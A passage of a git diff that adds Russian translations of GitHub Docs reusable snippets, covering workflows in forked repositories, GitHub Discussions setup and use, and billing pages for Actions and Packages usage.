+ms.locfileid: "145138070" +--- +#### Рабочие процессы в вилках репозиториев + +Рабочие процессы по умолчанию не выполняются в вилках репозиториев. Вы должны включить GitHub Actions на вкладке **Действия** в вилке репозитория. + +{% data reusables.actions.forked-secrets %} `GITHUB_TOKEN` имеет разрешения только для чтения в вилках репозиториев. Дополнительные сведения см. в разделе [Проверка подлинности с помощью GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token). + +#### События запросов на вытягивание для вилок репозиториев + +Для запросов на вытягивание из вилки репозитория в базовый репозиторий {% data variables.product.product_name %} отправляет события `pull_request`, `issue_comment`, `pull_request_review_comment`, `pull_request_review` и `pull_request_target` в базовый репозиторий. В вилке репозитория никакие события запросов на вытягивание не происходят. + +{% ifversion fpt or ghec %} Когда новый участник отправляет запрос на вытягивание в общедоступный репозиторий, может потребоваться утверждение запущенных рабочих процессов в запросе на вытягивание ответственным лицом с правами на запись. Дополнительные сведения см. в разделе [Утверждение рабочих процессов из общедоступных вилок](/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks). +{% endif %} + +{% note %} + +**Примечание.** Рабочие процессы не запускаются в частных базовых репозиториях при открытии запроса на вытягивание из вилки репозитория. + +{% endnote %} + +{% note %} + +**Примечание.** Рабочие процессы, активированные запросами на вытягивание {% data variables.product.prodname_dependabot %}, обрабатываются так, как если бы они были из вилки репозитория как будто они находятся из вилки репозитория, и на них также распространяются эти ограничения. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/discussions/about-announcement-format.md b/translations/ru-RU/data/reusables/discussions/about-announcement-format.md new file mode 100644 index 000000000000..13238b27223f --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/about-announcement-format.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 269563450ee5e2dbdd31e799b1b8eb0dba915f69 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881670" +--- +Сопровождающие могут использовать категории с форматом объявления для обмена информацией, выпусками или событиями. Чтобы обсуждения в этих категориях были сосредоточены на важных обновлениях, только пользователи с разрешениями на обслуживание или администрирование могут создавать новые обсуждения, но оставлять комментарии и отвечать на них могут все пользователи. diff --git a/translations/ru-RU/data/reusables/discussions/about-categories-and-formats.md b/translations/ru-RU/data/reusables/discussions/about-categories-and-formats.md new file mode 100644 index 000000000000..10f3971d348b --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/about-categories-and-formats.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7ec4ca85d46512d5f8c6bd4344884e6fad7dcc6c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138062" +--- +Все обсуждения должны создаваться в какой-либо категории. Для обсуждения репозиториев пользователи с разрешением на обслуживание или правами администратора в отношении соответствующего репозитория определяют категории обсуждений в этом репозитории. Для обсуждения организаций пользователи с разрешением на обслуживание или правами администратора в отношении исходного репозитория определяют категории обсуждений в этой организации. Каждая категория имеет определенный формат: открытое обсуждение, вопрос и ответ или объявление. diff --git a/translations/ru-RU/data/reusables/discussions/about-discussions.md b/translations/ru-RU/data/reusables/discussions/about-discussions.md new file mode 100644 index 000000000000..4d4ae601d0bf --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/about-discussions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: eb8c617ae5430cb7a78d608e14ab8a62a3286b06 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138057" +--- +{% data variables.product.prodname_discussions %} — это открытый форум для общения между сопровождающими и сообществом для репозитория или организации на {% data variables.product.product_name %}. diff --git a/translations/ru-RU/data/reusables/discussions/about-organization-discussions.md b/translations/ru-RU/data/reusables/discussions/about-organization-discussions.md new file mode 100644 index 000000000000..b4334266d6fd --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/about-organization-discussions.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: bbc607de914bb87c81b24eaf777033bd1419edd1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147409590" +--- +При включении обсуждений в организации необходимо выбрать исходный репозиторий для обсуждений в организации. Можно использовать существующий репозиторий или создать репозиторий специально для проведения обсуждений в организации. Обсуждения будут отображаться как на странице обсуждений организации, так и на странице обсуждения исходного репозитория. + +Разрешение на участие в обсуждении или управление им в организации основано на разрешениях в исходном репозитории. Например, пользователю требуется разрешение на запись в исходный репозиторий, чтобы удалять обсуждения организации. Это аналогично тому, как пользователю требуется разрешение на запись в репозитории для удаления обсуждения репозитория. + +Исходный репозиторий можно изменить в любое время. При изменении исходного репозитория обсуждения не переносятся в новый исходный репозиторий. diff --git a/translations/ru-RU/data/reusables/discussions/click-discussion-in-list.md b/translations/ru-RU/data/reusables/discussions/click-discussion-in-list.md new file mode 100644 index 000000000000..56a87dd81893 --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/click-discussion-in-list.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 36cbc59597cac677518522aac3f4a7de91e865c3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138009" +--- +1. В списке обсуждений щелкните обсуждение, которое нужно просмотреть. + ![Обсуждение в списке обсуждений репозитория](/assets/images/help/discussions/click-discussion-in-list.png) diff --git a/translations/ru-RU/data/reusables/discussions/discussions-tab.md b/translations/ru-RU/data/reusables/discussions/discussions-tab.md new file mode 100644 index 000000000000..5e516334112b --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/discussions-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 3131c6c1661cf52a9e3275568e8db0812d976942 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138006" +--- +1. Под именем репозитория или организации нажмите на {% octicon "comment-discussion" aria-label="The discussion icon" %} **Обсуждения**. + ![Вкладка "Обсуждения" для репозитория](/assets/images/help/discussions/repository-discussions-tab.png) diff --git a/translations/ru-RU/data/reusables/discussions/edit-categories.md b/translations/ru-RU/data/reusables/discussions/edit-categories.md new file mode 100644 index 000000000000..0a6139a20716 --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/edit-categories.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 38dda80b974eef458800345e7a472e97724a9dd6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138001" +--- +1. Справа от элемента "Категории" щелкните {% octicon "pencil" aria-label="The pencil icon" %}. + ![Значок карандаша для изменения категорий](/assets/images/help/discussions/click-edit-categories.png) diff --git a/translations/ru-RU/data/reusables/discussions/edit-category-details.md b/translations/ru-RU/data/reusables/discussions/edit-category-details.md new file mode 100644 index 000000000000..2d495293502d --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/edit-category-details.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d8062478765beb4c11f8f3ed7453b9b3bc01d7f2 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137998" +--- +Измените эмодзи, название, описание и формат обсуждения для категории. Дополнительные сведения о форматах обсуждений см. в разделе [Сведения об обсуждениях](/discussions/collaborating-with-your-community-using-discussions/about-discussions). diff --git a/translations/ru-RU/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-organization.md b/translations/ru-RU/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-organization.md new file mode 100644 index 000000000000..e80cf9e28e58 --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-organization.md @@ -0,0 +1,8 @@ +1. On {% data variables.location.product_location %}, navigate to the main page of your organization. +1. Under your organization name, click {% octicon "gear" aria-label="The gear icon" %} +**Settings**. +![Organization settings button](/assets/images/help/discussions/org-settings.png) +1. Under "Discussions", select **Enable discussions for this organization**. +1. Select a repository to use as the source repository for your organization discussions. + ![Settings to enable discussions for an organization](/assets/images/help/discussions/enable-org-discussions.png) +1. Click **Save**. diff --git a/translations/ru-RU/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-repository.md b/translations/ru-RU/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-repository.md new file mode 100644 index 000000000000..90bc462ad75e --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-repository.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 938d7ee6c250313831a88597894ea9b8993c64c9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137990" +--- +Вы можете включить или отключить {% data variables.product.prodname_discussions %} для репозитория. + +{% data reusables.repositories.navigate-to-repo %} +1. Нажмите **Параметры** {% octicon "gear" aria-label="The gear icon" %} под именем репозитория. +![Кнопка параметров репозитория](/assets/images/help/discussions/public-repo-settings.png) +1. В разделе "Функции" выберите **Обсуждения**. + ![Флажок в разделе "Функции" для включения или отключения {% data variables.product.prodname_discussions %} в репозитории](/assets/images/help/discussions/select-discussions-checkbox.png) diff --git a/translations/ru-RU/data/reusables/discussions/github-recognizes-members.md b/translations/ru-RU/data/reusables/discussions/github-recognizes-members.md new file mode 100644 index 000000000000..bcf2b099e5de --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/github-recognizes-members.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bd771d25013935017894911eb2b76a698168f699 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137985" +--- +{% data variables.product.prodname_dotcom %} автоматически распознает участников сообщества, которые добавляют больше всего комментариев, помеченных как ответы, в обсуждениях в формате "вопрос и ответ". diff --git a/translations/ru-RU/data/reusables/discussions/marking-a-comment-as-an-answer.md b/translations/ru-RU/data/reusables/discussions/marking-a-comment-as-an-answer.md new file mode 100644 index 000000000000..6eacf179a95d --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/marking-a-comment-as-an-answer.md @@ -0,0 +1,23 @@ +--- +ms.openlocfilehash: 42db13f770c5fb0dfca31614f9481ca713718dd2 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879245" +--- +Вы можете отметить комментарий в обсуждении как ответ на это обсуждение, если оно находится в категории, принимающей ответы. Дополнительные сведения см. в разделе [Сведения об обсуждениях](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions). + +Когда вы отметите вопрос как ответ, {% data variables.product.product_name %} выделит комментарий и ответы на него, чтобы помочь посетителям быстро найти ответ. + +![Комментарий, отмеченный как ответ на обсуждение](/assets/images/help/discussions/comment-marked-as-answer.png) + +Вы не можете отметить потоковый комментарий в ответе на комментарий как ответ на обсуждение. Кроме того, свернутый комментарий нельзя отметить как ответ на обсуждение. + +{% data reusables.discussions.navigate-to-repo-or-org %} {% data reusables.discussions.discussions-tab %} +1. В списке обсуждений щелкните обсуждение без ответа, которое вы хотите отметить как такое, для которого есть ответ. + ![Обсуждение без ответа](/assets/images/help/discussions/unanswered-discussion.png) +1. В обсуждении найдите комментарий, который вы хотите отметить как ответ. +1. В правом верхнем углу комментария нажмите {% octicon "check-circle" aria-label="The circular check icon" %}. + ![Значок галочки в форме круга "Отметить как ответ" для отметки комментария в качестве ответа в обсуждении](/assets/images/help/discussions/comment-mark-as-answer-button.png) +1. При необходимости, чтобы снять с комментария метку ответа, нажмите {% octicon "check-circle-fill" aria-label="The filled circular check icon" %}. diff --git a/translations/ru-RU/data/reusables/discussions/navigate-to-repo-or-org.md b/translations/ru-RU/data/reusables/discussions/navigate-to-repo-or-org.md new file mode 100644 index 000000000000..17ca81827c85 --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/navigate-to-repo-or-org.md @@ -0,0 +1 @@ +1. On {% data variables.location.product_location %}, navigate to the main page of the repository or organization. diff --git a/translations/ru-RU/data/reusables/discussions/repository-category-limit.md b/translations/ru-RU/data/reusables/discussions/repository-category-limit.md new file mode 100644 index 000000000000..edff7724b0c1 --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/repository-category-limit.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7b782aa3d23143a62b07aedf0a07df3734173d44 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137942" +--- +Каждый репозиторий или организация могут иметь до 10 категорий. diff --git a/translations/ru-RU/data/reusables/discussions/starting-a-discussion.md b/translations/ru-RU/data/reusables/discussions/starting-a-discussion.md new file mode 100644 index 000000000000..fb8a03915503 --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/starting-a-discussion.md @@ -0,0 +1,10 @@ +1. On {% data variables.location.product_location %}, navigate to the main page of the repository or organization where you want to start a discussion. +{% data reusables.discussions.discussions-tab %} +1. Click **New discussion**. + !["New discussion" button within the "Discussions" tab for a repository](/assets/images/help/discussions/new-discussion-button.png) +1. Select the **Select Category** drop-down menu, and click a category for your discussion. + !["Select Category" drop-down menu and list of available categories in a repository](/assets/images/help/discussions/new-discussion-select-category-dropdown-menu.png) +1. Type a title and body for your discussion. + ![Text fields for new discussion's title and body](/assets/images/help/discussions/new-discussion-title-and-body-fields.png) +1. Click **Start discussion**. + !["Start discussion" button](/assets/images/help/discussions/new-discussion-start-discussion-button.png) diff --git a/translations/ru-RU/data/reusables/discussions/starting-a-poll.md b/translations/ru-RU/data/reusables/discussions/starting-a-poll.md new file mode 100644 index 000000000000..c8dcee4df681 --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/starting-a-poll.md @@ -0,0 +1,23 @@ +--- +ms.openlocfilehash: 349befa365122a38b1b5f25e12fc91ae496ea156 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 07/13/2022 +ms.locfileid: "147061181" +--- +{% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} +1. В списке категорий выберите пункт **Опросы**. + ![Снимок экрана: категория "Опрос"](/assets/images/help/discussions/poll-category.png) +1. В правой области нажмите кнопку **Начать опрос**. + ![Снимок экрана: кнопка "Начать опрос"](/assets/images/help/discussions/start-poll-button.png) +1. Введите название и при необходимости текст опроса. + ![Снимок экрана: текстовые поля для заголовка и текста](/assets/images/help/discussions/new-poll-title-and-body-fields.png) +1. Введите вопрос для опроса. + ![Снимок экрана: текстовые поля для вопроса опроса](/assets/images/help/discussions/new-poll-question.png) +1. Введите по крайней мере два варианта ответа для опроса. + ![Снимок экрана: текстовые поля для вариантов ответа для опроса](/assets/images/help/discussions/new-poll-options.png) +1. Если необходимо добавить другие варианты ответа, нажмите кнопку **Добавить вариант ответа**. + ![Снимок экрана: кнопка "Добавить вариант ответа"](/assets/images/help/discussions/new-poll-add-option.png) +1. Нажмите кнопку **Начать опрос**. + ![Снимок экрана: кнопка "Начать опрос"](/assets/images/help/discussions/new-poll-start-poll-button.png) diff --git a/translations/ru-RU/data/reusables/discussions/you-can-categorize-discussions.md b/translations/ru-RU/data/reusables/discussions/you-can-categorize-discussions.md new file mode 100644 index 000000000000..f5d4ced8f796 --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/you-can-categorize-discussions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9b90983cc0578711ea7c55d659a291658ed297c2 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884569" +--- +Вы можете классифицировать обсуждения, чтобы помочь участникам сообщества начинать общение в правильном месте и находить связанные обсуждения. diff --git a/translations/ru-RU/data/reusables/discussions/you-can-convert-an-issue.md b/translations/ru-RU/data/reusables/discussions/you-can-convert-an-issue.md new file mode 100644 index 000000000000..a424af6401c5 --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/you-can-convert-an-issue.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a55ceeead1f6d8f328960a28d41139cb0d5a5c0c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881847" +--- +Если проблема оказывается вопросом или открытой беседой, а не рабочим элементом, допускающим отслеживание и определение приоритетов, вы можете преобразовать эту проблему в обсуждение. diff --git a/translations/ru-RU/data/reusables/discussions/you-can-label-discussions.md b/translations/ru-RU/data/reusables/discussions/you-can-label-discussions.md new file mode 100644 index 000000000000..81f25c98909e --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/you-can-label-discussions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7978d7c2964429d45815d591f7163b31609e05b2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124776" +--- +Чтобы более детально упорядочивать обсуждения, можно применять метки. Например, с помощью меток можно указать состояние обсуждения, чтобы повысить эффективность рассмотрения. У каждого репозитория есть один общий набор меток для проблем, запросов на вытягивание и обсуждений. Дополнительные сведения см. в статье "[Управление метками](/github/managing-your-work-on-github/managing-labels)". diff --git a/translations/ru-RU/data/reusables/discussions/you-can-use-discussions.md b/translations/ru-RU/data/reusables/discussions/you-can-use-discussions.md new file mode 100644 index 000000000000..5264063e5055 --- /dev/null +++ b/translations/ru-RU/data/reusables/discussions/you-can-use-discussions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 89fe7adc4996d50516e89b1963ed22318ca0cc67 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124768" +--- +Вы можете использовать {% data variables.product.prodname_discussions %}, чтобы задавать вопросы и отвечать на них, обмениваться информацией, делать объявления, а также проводить обсуждения о проекте или участвовать в них. Дополнительные сведения см. в разделе [Сведения об обсуждениях](/discussions/collaborating-with-your-community-using-discussions/about-discussions). diff --git a/translations/ru-RU/data/reusables/docs/you-can-read-docs-for-your-product.md b/translations/ru-RU/data/reusables/docs/you-can-read-docs-for-your-product.md new file mode 100644 index 000000000000..097903525805 --- /dev/null +++ b/translations/ru-RU/data/reusables/docs/you-can-read-docs-for-your-product.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 207df24dbed4278940cbe1bbca01c273900eeaee +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145124763" +--- +Вы можете прочитать документацию, в которой описаны доступные функции на {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Сведения о версиях {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs). diff --git a/translations/ru-RU/data/reusables/dotcom_billing/500-error.md b/translations/ru-RU/data/reusables/dotcom_billing/500-error.md new file mode 100644 index 000000000000..700c23187c8a --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/500-error.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 87a504ce6d47b46f122c63f268a653177ee6f4d3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124760" +--- +Если при попытке обновить учетную запись возникает ошибка 500, сделайте следующее: + - Попробуйте очистить кэш браузера, а затем отправить сведения еще раз. + - Убедитесь, что вы правильно ввели данные для оплаты. + +Если ошибка не устранена, обратитесь в {% data variables.contact.contact_support %}. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/actions-minutes.md b/translations/ru-RU/data/reusables/dotcom_billing/actions-minutes.md new file mode 100644 index 000000000000..9e23b6a59fcc --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/actions-minutes.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 31aa63652854b84bdd76b2ace8dc70638bcf57e8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124752" +--- +1. В разделе {% data variables.product.prodname_actions %} просмотрите сведения об использованных минутах. + ![Сведения об использовании минут](/assets/images/help/billing/actions-minutes.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/actions-packages-report-download-org-account.md b/translations/ru-RU/data/reusables/dotcom_billing/actions-packages-report-download-org-account.md new file mode 100644 index 000000000000..60ee6451a7ee --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/actions-packages-report-download-org-account.md @@ -0,0 +1,2 @@ +1. Optionally, next to "Usage this month", click **Get usage report** to get an email containing a link for downloading a CSV report of storage use for {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, and {% data variables.product.prodname_github_codespaces %}. The email is sent to your account's primary email address. You can choose whether the report should cover the last 7, 30, 90, or 180 days. + ![Download CSV report](/assets/images/help/billing/actions-packages-report-download.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/actions-packages-report-download.md b/translations/ru-RU/data/reusables/dotcom_billing/actions-packages-report-download.md new file mode 100644 index 000000000000..4e42f8938252 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/actions-packages-report-download.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 56b6151c3c8877e9a97a42e6d7ebf81fc8d7427e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124715" +--- +1. При необходимости рядом с пунктом "Использование в этом месяце" щелкните **Получить отчет об использовании**, чтобы отправить CSV-отчет об использовании хранилища для {% data variables.product.prodname_actions %} и {% data variables.product.prodname_registry %} на основной адрес электронной почты учетной записи. + ![Загрузить отчет в формате CSV](/assets/images/help/billing/actions-packages-report-download.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/actions-packages-storage-enterprise-account.md b/translations/ru-RU/data/reusables/dotcom_billing/actions-packages-storage-enterprise-account.md new file mode 100644 index 000000000000..f403a5cc876b --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/actions-packages-storage-enterprise-account.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 9d68d19e634dcffc7f9faffd0c326533c310565d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124712" +--- +1. В разделе "{% data variables.product.prodname_dotcom %} Storage for Actions and Packages" (Хранилище GitHub для Actions и Packages) просмотрите сведения об использовании хранилища каждой организацией в корпоративной учетной записи как для {% data variables.product.prodname_actions %}, так и для {% data variables.product.prodname_registry %}. + ![Сведения об использовании хранилища](/assets/images/help/billing/actions-packages-storage-enterprise.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/actions-packages-storage.md b/translations/ru-RU/data/reusables/dotcom_billing/actions-packages-storage.md new file mode 100644 index 000000000000..7af9a8ab9098 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/actions-packages-storage.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d62cb277f0d813ce1f4f95311bd648ac0967da28 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124704" +--- +1. В разделе "Хранилище для действий и пакетов" просмотрите сведения о совокупном использовании хранилища для {% data variables.product.prodname_actions %} и {% data variables.product.prodname_registry %}. Сведения об использовании хранилища синхронизируются каждый час. + ![Сведения об использовании хранилища](/assets/images/help/billing/actions-packages-storage.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/actions-packages-unpaid-account.md b/translations/ru-RU/data/reusables/dotcom_billing/actions-packages-unpaid-account.md new file mode 100644 index 000000000000..e4ce8635e37e --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/actions-packages-unpaid-account.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 1755638282e001d4e685a225d42c36cdc0f3bd7b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124699" +--- +Если для учетной записи есть неоплаченные счета, применяются следующие правила. + +* Хранилище или минуты, включенные в учетную запись для {% data variables.product.prodname_actions %} и {% data variables.product.prodname_registry %}, не будут сбрасываться до успешной обработки платежа. +* Для учетных записей, оставшихся в течение текущего периода выставления счетов, {% data variables.product.prodname_actions %} и {% data variables.product.prodname_registry %} будут по-прежнему доступны до тех пор, пока не будет достигнуто любое включенное использование. +* Для учетных записей, которые достигли включенного использования за текущий расчетный период для {% data variables.product.prodname_actions %} или {% data variables.product.prodname_registry %}, {% data variables.product.prodname_actions %}, и {% data variables.product.prodname_registry %} будут отключены, чтобы предотвратить дальнейшие превышения. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/add-payment-method.md b/translations/ru-RU/data/reusables/dotcom_billing/add-payment-method.md new file mode 100644 index 000000000000..6c17838e4638 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/add-payment-method.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b41f1361a4ab12aca06403923030af8eb592b1a1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124696" +--- +1. В разделе "Сведения о выставлении счетов" щелкните **Добавить метод оплаты**. + ![Ссылка для добавления метода оплаты](/assets/images/help/billing/add-payment-method.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/add-seats.md b/translations/ru-RU/data/reusables/dotcom_billing/add-seats.md new file mode 100644 index 000000000000..ee2e2f93eb3e --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/add-seats.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: a40be433e180604609a90196871f81d1db319c90 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124691" +--- +1. Используйте раскрывающийся список **Редактирование** и нажмите кнопку **Добавить рабочие места**. + ![Раскрывающееся меню «Редактирование»](/assets/images/help/billing/add-seats-dropdown.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/cancel-pending-changes.md b/translations/ru-RU/data/reusables/dotcom_billing/cancel-pending-changes.md new file mode 100644 index 000000000000..7b3faf3f1959 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/cancel-pending-changes.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 20eb63ad944e8e71b5231e9f2ab34396812a901b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124688" +--- +1. Рядом с ожидающими обработки изменениями, которые вы хотите отменить, нажмите кнопку **Отмена**. + ![Ссылка для отмены рядом с изменением подписки, ожидающим обработки](/assets/images/help/billing/cancel-pending-changes-link.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/change_plan_duration.md b/translations/ru-RU/data/reusables/dotcom_billing/change_plan_duration.md new file mode 100644 index 000000000000..57dcdfec69c5 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/change_plan_duration.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0652a514fd58c2119ac5652f95f3d5b43cfe5d39 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124675" +--- +1. В разделе "Текущий ежемесячный счет" или "Текущий годовой счет" щелкните **Переключиться на ежегодное выставление счетов** или **Переключиться на ежемесячное выставление счетов**. +![Кнопка обзора изменения плана выставления счетов](/assets/images/help/billing/change-plan-duration-link.png) diff --git 